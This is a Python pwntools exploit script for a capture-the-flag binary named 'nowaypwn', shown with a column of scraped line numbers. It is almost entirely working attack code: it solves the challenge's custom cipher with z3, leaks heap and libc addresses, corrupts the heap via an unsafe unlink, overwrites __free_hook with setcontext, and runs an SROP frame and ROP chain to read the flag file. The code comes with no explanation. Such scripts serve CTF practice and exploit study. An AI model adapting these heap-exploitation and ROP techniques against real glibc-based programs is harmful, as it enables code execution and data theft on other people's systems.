1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
| from pwn import *
from z3 import *
elf = None
libc = None
file_name = "./nowaypwn"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
return remote(sys.argv[1], sys.argv[2])
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
def get_gdb(sh, gdbscript=None, addr=0, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript=gdbscript)
elif addr is not None:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
log.success("breakpoint_addr --> " + hex(text_base + addr))
gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, sh=None, elf=None, libc=None):
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
pwn(sh, elf, libc)
flag = get_flag(sh)
return flag
def decipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
delta = 0x14872109
sum = c_uint32(0)
n = 17
for i in range(n):
sum.value += delta
w = [0, 0]
while (n > 0):
z.value -= (((y.value << 4) ^ (y.value >> 5)) + y.value) ^ (sum.value + k[(sum.value >> 11) & 3])
sum.value -= delta
y.value -= (((z.value << 4) ^ (z.value >> 5)) + z.value) ^ (sum.value + k[sum.value & 3])
n -= 1
w[0] = y.value
w[1] = z.value
return w
def sendint(idx):
data = str(idx)
sh.send(data.ljust(0x10, '\x00'))
def choice(idx):
sendint(idx)
def decode(data):
solver = Solver()
a1 = BitVec('a1', 32)
x = a1
for _ in range(2):
x ^= (32 * x) ^ LShR((x ^ (32 * x)), 17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)), 17)) << 13)
solver.add(x == int(data, 16))
solver.check()
ans = solver.model()
return p32(ans[a1].as_long())
def add(size):
choice(4)
sendint(size)
def edit(idx, content):
choice(1)
sendint(idx)
sh.send(str(content))
def show(idx):
choice(2)
sendint(idx)
v1 = decode(sh.recvuntil('\n', drop=True))
v2 = decode(sh.recvuntil('\n', drop=True))
v1 += v2
log.hexdump(v1)
return v1
def delete(idx):
choice(3)
sendint(idx)
def pwn(sh, elf, libc):
context.log_level = "debug"
key = [0x28371234, 0x19283543, 0x19384721, 0x98372612]
v = [0x105d191e, 0x98e870c8]
dec = decipher(v, key)
sh.sendafter('name:', 'a' * 0x10)
sh.sendafter('key:', 'b' * 0x20)
sh.sendafter('secret!:', p32(dec[0]) + p32(dec[1]) + 'c' * 0x10)
for i in range(10):
add(0x108)
for i in range(9):
delete(8 - i)
for i in range(9):
add(0x108)
sh.recvuntil('\n')
data = show(1)
heap_base = u64(data) - 0x10f0
log.success("heap_base:\t" + hex(heap_base))
data = show(7)
malloc_hook_addr = u64(data) - 624 - 0x10
log.success("malloc_hook_addr:\t" + hex(malloc_hook_addr))
libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
log.success("libc_base:\t" + hex(libc_base))
# 7 8 0 1 2 3 4 5 6 9
edit(7, 'a' * 0x100 + p64(0x110))
edit(0, 'a' * 0xF0 + p64(0) + p64(0x121) + p64(0))
edit(8, 'a' * 0x108)
heap8_addr = heap_base + 0xdc0
target = heap8_addr + 0x10
FD = target - 0x18
BK = target - 0x10
edit(8, p64(FD) + p64(BK) + p64(heap8_addr - 0x10) + 'a' * (0x100 - 0x18) + p64(0x110))
for i in range(6):
delete(i + 1)
delete(9)
delete(7)
for i in range(7):
add(0x108) # 1 2 3 4 5 6 7
add(0x108) # 9
add(0x108) # 10
delete(1)
delete(8)
free_hook_addr = libc_base + libc.sym['__free_hook']
setcontext_addr = libc_base + libc.sym['setcontext'] + 53
edit(10, p64(free_hook_addr) + '\x00' * 0x100)
add(0x108) # 1
add(0x108) # 8 #get free_hook
add(0x200) # 11
pop_rdi_addr = libc_base + 0x2155f
pop_rsi_addr = libc_base + 0x23e6a
pop_rdx_addr = libc_base + 0x1b96
pop_rax_addr = libc_base + 0x439c8
syscall_addr = libc_base + 0xd2975
# SROP
fake_frame_addr = heap_base + 0x1750
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8 + 0x10
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x20 + 0x8
frame.rip = pop_rdi_addr + 1 # : ret
rop_data = [
pop_rax_addr, # sys_open('flag', 0)
2,
syscall_addr,
pop_rax_addr, # sys_read(flag_fd, heap, 0x100)
0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr,
pop_rax_addr, # sys_write(1, heap, 0x100)
1,
pop_rdi_addr,
1,
pop_rsi_addr,
fake_frame_addr + 0x200,
syscall_addr
]
payload = str(frame).ljust(0xF8, '\x00') + '\x00' * 0x10 + 'flag.txt' + '\x00' * 0x8 + '\x00' * 0x8 + flat(rop_data)
edit(11, payload.ljust(0x200, '\x00'))
edit(8, p64(setcontext_addr) + '\x00' * 0x100)
# gdb.attach(sh, "b free")
delete(11)
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(sh=sh, elf=get_file(), libc=get_libc())
sh.close()
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
|